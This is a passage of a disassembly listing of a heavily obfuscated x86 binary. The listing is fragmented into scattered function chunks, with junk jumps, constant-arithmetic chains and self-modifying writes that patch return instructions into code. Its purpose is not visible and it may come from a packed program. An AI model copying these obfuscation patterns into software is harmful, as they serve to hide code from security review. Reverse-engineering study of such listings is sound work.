jge loc_43F27D loc_43BC33: ; CODE XREF: sub_447940+3988j jmp sub_44A413 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_43BC38: ; CODE XREF: sub_44633F-B22j jmp loc_449DDA ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_43BC3D: ; CODE XREF: sub_4475B3-6E9Cj jmp loc_44A635 ; END OF FUNCTION CHUNK FOR sub_4475B3 ; --------------------------------------------------------------------------- loc_43BC42: ; CODE XREF: y22d6.y.:00437030j jmp loc_43D52C ; --------------------------------------------------------------------------- mov edx, [ecx] sub edi, edx pop ecx jmp loc_43F277 ; =============== S U B R O U T I N E ======================================= sub_43BC51 proc near ; CODE XREF: sub_43BEF7:loc_43BF2Cp ; y22d6.y.:0043D500j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0044B667 SIZE 00000003 BYTES xchg ebx, [esp+0] pop ebx xchg ebx, [esp-4+arg_0] push ebx pop ecx jmp loc_44B667 sub_43BC51 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440CE6 loc_43BC5F: ; CODE XREF: sub_440CE6+71FBj add eax, 8DA9FC0Bh xor eax, 3E4F90Fh jnz loc_44BBD7 ; END OF FUNCTION CHUNK FOR sub_440CE6 ; START OF FUNCTION CHUNK FOR sub_44B267 loc_43BC71: ; CODE XREF: sub_44B267+A42j jmp loc_44A568 ; END OF FUNCTION CHUNK FOR sub_44B267 ; --------------------------------------------------------------------------- loc_43BC76: ; CODE XREF: y22d6.y.:00443269j jmp locret_43BF50 ; --------------------------------------------------------------------------- sub ebx, edx ja loc_448647 jmp loc_439B3B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E242 loc_43BC88: ; CODE XREF: sub_44E242-168F6j xchg edx, [esp+0] jmp loc_43D5AC ; END OF FUNCTION CHUNK FOR sub_44E242 ; =============== S U B R O U T I N E ======================================= sub_43BC90 proc near ; CODE XREF: y22d6.y.:0043CFC0j ; sub_441FA5p xchg ecx, [esp+0] pop ecx call sub_43BCA9 jmp ds:off_41E054 sub_43BC90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_43BC9F: ; CODE XREF: y22d6.y.:0044B59Fj jmp locret_4474FF ; --------------------------------------------------------------------------- loc_43BCA4: ; CODE XREF: y22d6.y.:00444C51j jmp loc_4459AE ; =============== S U B R O U T I N E ======================================= sub_43BCA9 proc near ; CODE XREF: sub_43BC90+4p ; sub_43D543+7j ... var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00437280 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00437ABD SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00437AFC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A192 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0043A495 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0043AFF5 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043B943 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043C29F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043DB9E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043FE6B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044421D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004450B9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00445C69 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447768 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00448DD1 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004495FD SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0044B08C SIZE 00000008 BYTES jnb loc_4495FD jmp loc_4450B9 sub_43BCA9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_43BCB4: ; CODE XREF: sub_44B1D2:loc_437CF6j ; y22d6.y.:loc_4380B9j push 5350027Eh pop esi xor esi, 0CF047775h add esi, 32816ED5h jmp loc_44811F ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- loc_43BCCB: ; CODE XREF: y22d6.y.:00439855j jo loc_43977F cmp esi, eax jmp loc_449B79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_43BCD8: ; CODE XREF: sub_44B489-3B88j jz loc_4370FE test edx, eax jmp loc_44A447 ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441030 loc_43BCE5: ; CODE XREF: sub_441030-4200j mov [edx], eax call sub_442856 locret_43BCEC: ; CODE XREF: y22d6.y.:00447D7Aj retn ; END OF FUNCTION CHUNK FOR sub_441030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_43BCED: ; CODE XREF: sub_44271A+8722j jmp nullsub_270 ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- loc_43BCF2: ; CODE XREF: y22d6.y.:00443E75j jmp loc_44B3B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFE2 loc_43BCF7: ; CODE XREF: sub_43FFE2+8CBj jz loc_442749 jmp loc_44201A ; END OF FUNCTION CHUNK FOR sub_43FFE2 ; --------------------------------------------------------------------------- mov eax, 469EF90Dh push esi push 0EF2E2888h pop esi sub esi, 0A182D1FEh jmp loc_43F63F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_43BD19: ; CODE XREF: sub_44271A+2168j jnz loc_449FCA jmp loc_438653 ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439B2C loc_43BD24: ; CODE XREF: sub_439B2C:loc_442080j sub esi, 0E66A1D07h and esi, 0D4830928h xor esi, 78CA7722h add esi, 83F9631Ah mov [esi], eax pop esi jmp loc_43D0D0 ; END OF FUNCTION CHUNK FOR sub_439B2C ; =============== S U B R O U T I N E ======================================= sub_43BD44 proc near ; CODE XREF: y22d6.y.:00443F9Fj ; y22d6.y.:0044CF2Ep ; FUNCTION CHUNK AT 00445586 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0044CD1F SIZE 0000000A BYTES xchg edi, [esp+0] pop edi mov [edx-18h], eax call sub_4481BC loc_43BD50: ; CODE XREF: y22d6.y.:004456A5j not ebp jmp loc_445586 sub_43BD44 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jnz loc_43DD7C jmp sub_44DA98 ; --------------------------------------------------------------------------- loc_43BD62: ; DATA XREF: sub_44BCC2+1841o add eax, 0E11E7F01h push offset loc_444A6E jmp locret_44C373 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B01 loc_43BD72: ; CODE XREF: sub_437B01+6FBj jp loc_43C2EA jmp loc_44017D ; END OF FUNCTION CHUNK FOR sub_437B01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B674 loc_43BD7D: ; CODE XREF: sub_44B674-9AA7j sbb ebx, ecx jmp loc_449CC8 ; END OF FUNCTION CHUNK FOR sub_44B674 ; --------------------------------------------------------------------------- sub esi, 7BA69072h mov ecx, ebx jmp sub_43C712 ; --------------------------------------------------------------------------- loc_43BD91: ; CODE XREF: y22d6.y.:00448001j xor ebx, ebp and ecx, 0C57EAFFh ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_43BD99: ; CODE XREF: sub_44B1D2:loc_447FF0j and ebx, 85172D31h add ebx, 3EBBAEh jmp loc_437A67 ; --------------------------------------------------------------------------- loc_43BDAA: ; CODE XREF: sub_44B1D2-18C8j jle loc_440753 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; =============== S U B R O U T I N E ======================================= sub_43BDB0 proc near ; CODE XREF: y22d6.y.:00437318p xchg ecx, [esp+0] pop ecx lea eax, sub_4422AA mov byte ptr [eax], 0C3h jmp loc_44407C sub_43BDB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4422AA loc_43BDC2: ; CODE XREF: sub_4422AA+1j mov eax, [esp+4+var_4] jmp loc_43FC14 ; END OF FUNCTION CHUNK FOR sub_4422AA ; --------------------------------------------------------------------------- locret_43BDCA: ; CODE XREF: y22d6.y.:0043D495j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448C77 loc_43BDCB: ; CODE XREF: sub_448C77:loc_442C82j xchg edx, [esp+8+var_8] jmp loc_447FF6 ; END OF FUNCTION CHUNK FOR sub_448C77 ; =============== S U B R O U T I N E ======================================= sub_43BDD3 proc near ; DATA XREF: sub_43E037+CA8Do push 0ACC2407Bh pop eax sub eax, ds:4000EAh rol eax, 1 jmp loc_43ACC1 sub_43BDD3 endp ; --------------------------------------------------------------------------- locret_43BDE6: ; CODE XREF: y22d6.y.:loc_43767Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_43BDE7: ; CODE XREF: sub_437901+58A6j ; sub_44B17B-A758j xor edx, 78F5075Ch loc_43BDED: ; CODE XREF: sub_4432B8:loc_448C59j add edx, 938F6B58h xchg edx, [esp+0] jmp sub_43760A ; END OF FUNCTION CHUNK FOR sub_44B17B ; =============== S U B R O U T I N E ======================================= sub_43BDFB proc near ; CODE XREF: y22d6.y.:00437CF1j ; y22d6.y.:004473D6p arg_0 = dword ptr 4 xchg edi, [esp+0] pop edi xchg edx, [esp-4+arg_0] jmp loc_43B030 sub_43BDFB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437901 loc_43BE07: ; CODE XREF: sub_437901:loc_44CD29j call sub_442F96 loc_43BE0C: ; CODE XREF: sub_44D22A-15AF2j test ecx, eax loc_43BE0E: ; CODE XREF: sub_4432B8+A5B1j jmp loc_446DF9 ; END OF FUNCTION CHUNK FOR sub_437901 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_325. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43BE14: ; CODE XREF: y22d6.y.:0044B032j jmp loc_449DBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A148 loc_43BE19: ; CODE XREF: sub_43A148+F0Bj jnz loc_439DC2 loc_43BE1F: ; CODE XREF: y22d6.y.:00449609j jmp loc_4431E2 ; END OF FUNCTION CHUNK FOR sub_43A148 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E3BD loc_43BE24: ; CODE XREF: sub_43E3BD+7j jmp loc_4409E2 ; END OF FUNCTION CHUNK FOR sub_43E3BD ; --------------------------------------------------------------------------- jns loc_445746 jmp loc_439DBA ; --------------------------------------------------------------------------- cmp edx, 6CD4669Dh jmp loc_438379 ; --------------------------------------------------------------------------- loc_43BE3F: ; CODE XREF: y22d6.y.:0043A5F5j jnb sub_43EF8B ; START OF FUNCTION CHUNK FOR sub_44CEE1 loc_43BE45: ; CODE XREF: sub_44CEE1+Cj add edi, 4B15FEB9h mov [edi], eax call sub_438BFA loc_43BE52: ; CODE XREF: y22d6.y.:00441320j jmp nullsub_271 ; END OF FUNCTION CHUNK FOR sub_44CEE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446082 loc_43BE57: ; CODE XREF: sub_446082-8955j mov ebx, [edx] ; END OF FUNCTION CHUNK FOR sub_446082 ; START OF FUNCTION CHUNK FOR sub_43ED4E loc_43BE59: ; CODE XREF: sub_4432B8:loc_4399DAj ; sub_4432B8-657Dj ... jmp loc_445E51 ; END OF FUNCTION CHUNK FOR sub_43ED4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43BE5E: ; CODE XREF: sub_448EB6:loc_43711Cj ; sub_4432B8+200Bj pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439F2D loc_43BE61: ; CODE XREF: sub_439F2D-1478j jmp loc_437000 ; END OF FUNCTION CHUNK FOR sub_439F2D ; =============== S U B R O U T I N E ======================================= sub_43BE66 proc near ; CODE XREF: sub_43D20E-34A7j ; sub_43E48C:loc_43A616p ... ; FUNCTION CHUNK AT 0043B215 SIZE 00000005 BYTES push ebp push offset loc_43EE61 jmp loc_43B215 sub_43BE66 endp ; --------------------------------------------------------------------------- loc_43BE71: ; CODE XREF: y22d6.y.:0043D133j js sub_44D83F jmp loc_44A159 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43BE7C: ; CODE XREF: sub_448EB6:loc_441864j popf xchg ecx, [eax] jmp loc_439BE7 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_190. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43BE85: ; CODE XREF: sub_448EB6+1A7j jmp loc_440384 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_43BE8A: ; CODE XREF: sub_43A6E1:loc_4408EAj jz loc_4497CE jmp loc_43C255 ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4480DE loc_43BE95: ; CODE XREF: sub_4480DE+49B4j jle loc_445FB4 mov eax, [ebp+var_4] xor edx, edx push edx push eax mov eax, [ebp+var_8] loc_43BEA5: ; CODE XREF: y22d6.y.:0044CA7Ej cdq push offset loc_438A55 jmp nullsub_244 ; END OF FUNCTION CHUNK FOR sub_4480DE ; --------------------------------------------------------------------------- loc_43BEB0: ; CODE XREF: y22d6.y.:loc_44258Dj jnz loc_441DE8 ; START OF FUNCTION CHUNK FOR sub_43E139 loc_43BEB6: ; CODE XREF: sub_43E139+7j jmp loc_443CF1 ; END OF FUNCTION CHUNK FOR sub_43E139 ; --------------------------------------------------------------------------- push ebp jmp loc_44D5EF ; =============== S U B R O U T I N E ======================================= sub_43BEC1 proc near ; DATA XREF: y22d6.y.:0043EE8Fo var_4 = dword ptr -4 push ebx mov ebx, edx xchg ebx, [esp+4+var_4] push edi call sub_43C22F loc_43BECD: ; CODE XREF: y22d6.y.:00443F66j jmp ds:dword_41E134 sub_43BEC1 endp ; --------------------------------------------------------------------------- loc_43BED3: ; CODE XREF: y22d6.y.:0044ADCEj jmp loc_43A35F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4481EF loc_43BED8: ; CODE XREF: sub_4481EF-1D57j jmp loc_44DBCC ; END OF FUNCTION CHUNK FOR sub_4481EF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_351. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jz loc_43AA0C mov eax, [esp] push edx call sub_442C0C mov eax, 4C5D3995h jmp loc_44E201 ; =============== S U B R O U T I N E ======================================= sub_43BEF7 proc near ; CODE XREF: y22d6.y.:0043934Bj ; sub_440C4E+Ap ; FUNCTION CHUNK AT 00438CB0 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00439247 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00439F47 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043A8F2 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043E0F8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043EABB SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0043ECAA SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0043F585 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00441935 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004426B0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044506C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00447C63 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00447DE5 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004489D0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044ACFF SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0044ADD3 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0044BE60 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044C736 SIZE 0000000A BYTES xchg edi, [esp+0] pop edi add eax, 4ECE841h add eax, 0FB13181Fh jmp loc_43BF3B ; --------------------------------------------------------------------------- loc_43BF0C: ; CODE XREF: sub_44B635-4035j jge loc_44ADD9 add ecx, 0F6DBA28Fh jmp loc_44ADD3 ; --------------------------------------------------------------------------- shl eax, 14h jmp sub_4499C9 ; --------------------------------------------------------------------------- loc_43BF25: ; CODE XREF: y22d6.y.:0044BAC3j mov [ebx], edi loc_43BF27: ; CODE XREF: sub_4416F3-A63Aj ; sub_4416F3:loc_43A220j ... jmp loc_43A8F2 ; --------------------------------------------------------------------------- loc_43BF2C: ; CODE XREF: y22d6.y.:0043D23Bj ; sub_4416F3+B92Ej call sub_43BC51 loc_43BF31: ; CODE XREF: sub_448EB6:loc_4483F7j jmp nullsub_25 ; --------------------------------------------------------------------------- loc_43BF36: ; CODE XREF: sub_438A6F+5097j jmp loc_43ECAA ; --------------------------------------------------------------------------- loc_43BF3B: ; CODE XREF: sub_43BEF7+10j jmp loc_438CB0 sub_43BEF7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_43BF40: ; CODE XREF: sub_44633F:loc_43DEB4j sub edx, 9112C35Bh push offset sub_4456EB jmp loc_448652 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- locret_43BF50: ; CODE XREF: y22d6.y.:loc_43BC76j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_43BF51: ; CODE XREF: sub_43B98D-10F4j call sub_43D65C loc_43BF56: ; CODE XREF: sub_43E625+Dj jmp loc_447804 ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EFB1 loc_43BF5B: ; CODE XREF: sub_43EFB1-4485j jmp loc_44B404 ; END OF FUNCTION CHUNK FOR sub_43EFB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A67 loc_43BF60: ; CODE XREF: sub_438A67+3j jmp sub_44A595 ; END OF FUNCTION CHUNK FOR sub_438A67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43BF65: ; CODE XREF: sub_448EB6+17Ej sbb edx, ecx loc_43BF67: ; CODE XREF: sub_43A6E1:loc_445426j mov eax, 1F56AC7Bh call sub_43CA1A push edi mov edi, ebx jmp loc_448826 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- shr ebp, 17h jmp sub_439C3E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_285. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43BF82: ; CODE XREF: y22d6.y.:loc_4413BEj add eax, 0D244D1CFh or eax, eax jz loc_445740 jmp loc_44D4F2 ; --------------------------------------------------------------------------- loc_43BF95: ; CODE XREF: y22d6.y.:004428BDj shl edx, 17h ; =============== S U B R O U T I N E ======================================= sub_43BF98 proc near ; CODE XREF: y22d6.y.:004485FAp ; FUNCTION CHUNK AT 0044A5E0 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push 4A4442B0h pop ecx jmp loc_44A5E0 sub_43BF98 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_43BFA7: ; CODE XREF: sub_44633F:loc_438F0Dj call sub_43CA1A push esi push 0BF9AE902h pop esi rol esi, 0Dh jmp loc_43C03F ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- push ecx mov ecx, edx xchg ecx, [esp] push 8860BF32h pop edx sub edx, 41B5CF98h rol edx, 7 loc_43BFD0: ; CODE XREF: y22d6.y.:loc_43D03Ej sub edx, 0BBABAB9Eh jmp loc_43DF51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4425E0 loc_43BFDB: ; CODE XREF: sub_4425E0+Aj push edx call sub_44A46F mov eax, 0CEEC89B4h push edx push 991807FEh jmp loc_445514 ; END OF FUNCTION CHUNK FOR sub_4425E0 ; --------------------------------------------------------------------------- loc_43BFF1: ; CODE XREF: y22d6.y.:loc_441BAAj xchg edx, [ebp+0] sbb ebx, 0E093878Ch add esi, 6E8C13AAh jmp loc_443EC2 ; --------------------------------------------------------------------------- loc_43C005: ; DATA XREF: y22d6.y.:0044A4EDo add ebx, 0E14AB8ABh push offset sub_44C76B jmp locret_445BBE ; --------------------------------------------------------------------------- loc_43C015: ; DATA XREF: sub_43A6E1:loc_449460o xor edx, 0A68A51B3h sub eax, edx pop edx ror eax, 15h push edi push 0A806C806h pop edi jmp loc_4493D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441030 loc_43C02D: ; CODE XREF: sub_441030:loc_4459BEj pop esi and esi, 0F043A04Ah jnz loc_443DFA loc_43C03A: ; CODE XREF: sub_44DA98-52DDj jmp loc_44B69D ; END OF FUNCTION CHUNK FOR sub_441030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_43C03F: ; CODE XREF: sub_44633F-A389j jmp loc_449574 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- add ecx, 178EA393h jmp loc_443DF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4400D5 loc_43C04F: ; CODE XREF: sub_4400D5-849j or ecx, 0DB6F2B1Ch add ecx, 538F51h xchg ecx, [esp+4+var_4] jmp loc_43E155 ; END OF FUNCTION CHUNK FOR sub_4400D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7D4 loc_43C063: ; CODE XREF: sub_43B7D4+63EEj jz loc_44B25A jmp loc_442ECE ; END OF FUNCTION CHUNK FOR sub_43B7D4 ; --------------------------------------------------------------------------- mov ds:off_41E040, eax push offset loc_44203B jmp locret_440EC0 ; --------------------------------------------------------------------------- loc_43C07E: ; DATA XREF: sub_4482CF-3711o lea eax, dword_440E88 push eax push eax mov edx, eax call sub_44D088 push edi push 0CD9FB5CDh jmp loc_43970F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_43C098: ; CODE XREF: sub_44AEDA:loc_445EF8j ; y22d6.y.:00445F27j xor esi, ds:4000E9h add esi, 5EE5DD5Dh xchg esi, [esp-4+arg_0] jmp loc_44C8A8 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CFF2 loc_43C0AC: ; CODE XREF: sub_43CFF2:loc_43CA15j mov eax, 0CA1E90EFh jmp loc_44E44C ; END OF FUNCTION CHUNK FOR sub_43CFF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_43C0B6: ; CODE XREF: sub_43B98D:loc_43FCEAj add eax, ebp add eax, 9A72986Dh mov eax, [eax] xor edx, edx push edx jmp loc_43AED8 ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- loc_43C0C8: ; CODE XREF: y22d6.y.:00440844j jl loc_43A54D cdq loc_43C0CF: ; CODE XREF: y22d6.y.:loc_4442EFj call sub_43760A push 1616DEBEh jmp loc_43D324 ; --------------------------------------------------------------------------- loc_43C0DE: ; DATA XREF: y22d6.y.:0044878Do mov ebp, esp push offset sub_4387EA jmp loc_442EAE ; --------------------------------------------------------------------------- loc_43C0EA: ; CODE XREF: y22d6.y.:0044D87Cj pop edx ; START OF FUNCTION CHUNK FOR sub_44D7E0 loc_43C0EB: ; CODE XREF: sub_44D7E0:loc_444994j sub eax, 60CB6AC5h xor eax, 5F14FA63h call sub_444581 push esi push 10CD7895h jmp loc_44D1DC ; END OF FUNCTION CHUNK FOR sub_44D7E0 ; --------------------------------------------------------------------------- push eax ror eax, 15h push offset loc_43EC8B jmp nullsub_177 ; --------------------------------------------------------------------------- loc_43C115: ; CODE XREF: y22d6.y.:loc_43B4E8j push 6F542079h xchg edx, [esp] mov eax, edx pop edx jmp loc_43BB14 ; --------------------------------------------------------------------------- loc_43C125: ; CODE XREF: y22d6.y.:00440A56j shr esi, 15h ; =============== S U B R O U T I N E ======================================= sub_43C128 proc near ; CODE XREF: sub_448EB6-B322p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0044195D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00446453 SIZE 00000011 BYTES xchg esi, [esp+0] pop esi push 40AD37B7h pop ecx add ecx, 0F5E14281h jmp loc_446453 sub_43C128 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_43C13D: ; CODE XREF: y22d6.y.:0044A15Bj jp loc_44B5B0 push edi loc_43C144: ; CODE XREF: y22d6.y.:loc_43D12Dj call sub_43760A call sub_44585C ; START OF FUNCTION CHUNK FOR sub_438B66 loc_43C14E: ; CODE XREF: sub_438B66+19B8j push edx call sub_44146B ; END OF FUNCTION CHUNK FOR sub_438B66 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416F3 loc_43C155: ; CODE XREF: sub_4416F3+9C7Ej ; y22d6.y.:0044B786j jmp loc_440F47 ; END OF FUNCTION CHUNK FOR sub_4416F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D025 loc_43C15A: ; CODE XREF: sub_43D025+B2A5j jmp loc_438201 ; END OF FUNCTION CHUNK FOR sub_43D025 ; --------------------------------------------------------------------------- adc edi, 0BDC43758h jmp loc_44D8EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F3AD loc_43C16A: ; CODE XREF: sub_43F3AD+13j mov edx, ebx pop ebx or edx, 0B361414Eh test edx, 2000000h jmp loc_43AA68 ; END OF FUNCTION CHUNK FOR sub_43F3AD ; =============== S U B R O U T I N E ======================================= sub_43C17E proc near ; DATA XREF: sub_43E7BF+969Do var_8 = dword ptr -8 ; FUNCTION CHUNK AT 004372EE SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00439270 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043935B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004496C6 SIZE 0000001D BYTES push 977543BAh pop eax or eax, 0E228F507h jnz loc_4496C6 loc_43C190: ; CODE XREF: y22d6.y.:0043796Bj jmp loc_4372EE sub_43C17E endp ; --------------------------------------------------------------------------- cmp ecx, ebp jmp loc_449BD1 ; --------------------------------------------------------------------------- loc_43C19C: ; CODE XREF: y22d6.y.:0044741Ej lea eax, nullsub_358 mov byte ptr [eax], 0C3h jmp nullsub_358 ; --------------------------------------------------------------------------- loc_43C1AA: ; CODE XREF: y22d6.y.:00444260j mov eax, [esp] push esi mov esi, edx xchg esi, [esp] jmp loc_4454EC ; --------------------------------------------------------------------------- loc_43C1B8: ; CODE XREF: y22d6.y.:0043DC2Aj xchg eax, edi jmp loc_445FF1 ; --------------------------------------------------------------------------- add ebx, edi jmp loc_44867B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_268. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A148 loc_43C1C7: ; CODE XREF: sub_43A148+E80j jmp loc_44DC8A ; END OF FUNCTION CHUNK FOR sub_43A148 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444541 loc_43C1CC: ; CODE XREF: sub_444541:loc_43C850j add edx, 2A524EE1h mov [edx], eax xchg ebx, [esp+0] mov edx, ebx pop ebx call sub_44E091 loc_43C1DF: ; DATA XREF: y22d6.y.:004422F7o jo loc_447A84 mov eax, [esp-4+arg_0] push edx push eax push 4ECE6ED0h jmp loc_44D5D7 ; END OF FUNCTION CHUNK FOR sub_444541 ; --------------------------------------------------------------------------- loc_43C1F4: ; CODE XREF: y22d6.y.:00439E8Fj pushf ; =============== S U B R O U T I N E ======================================= sub_43C1F5 proc near ; CODE XREF: sub_438B66+B9ACp xchg eax, [esp+0] pop eax add edx, 0DD109455h push offset loc_43A91F jmp sub_448CE6 sub_43C1F5 endp ; --------------------------------------------------------------------------- adc ebp, 0E9859C7Bh jmp sub_43E7D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4499F4 loc_43C214: ; CODE XREF: sub_4499F4-E8ADj jnz loc_43D828 ; END OF FUNCTION CHUNK FOR sub_4499F4 ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_43C21A: ; CODE XREF: sub_44B1D2-A14Dj jmp loc_446E91 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CBF3 loc_43C21F: ; CODE XREF: sub_43CBF3+19B8j jmp loc_44A728 ; END OF FUNCTION CHUNK FOR sub_43CBF3 ; --------------------------------------------------------------------------- pop edx test edx, ecx jmp loc_43D81D ; --------------------------------------------------------------------------- loc_43C22C: ; CODE XREF: y22d6.y.:0043AE7Bj rol ecx, 1Ch ; =============== S U B R O U T I N E ======================================= sub_43C22F proc near ; CODE XREF: 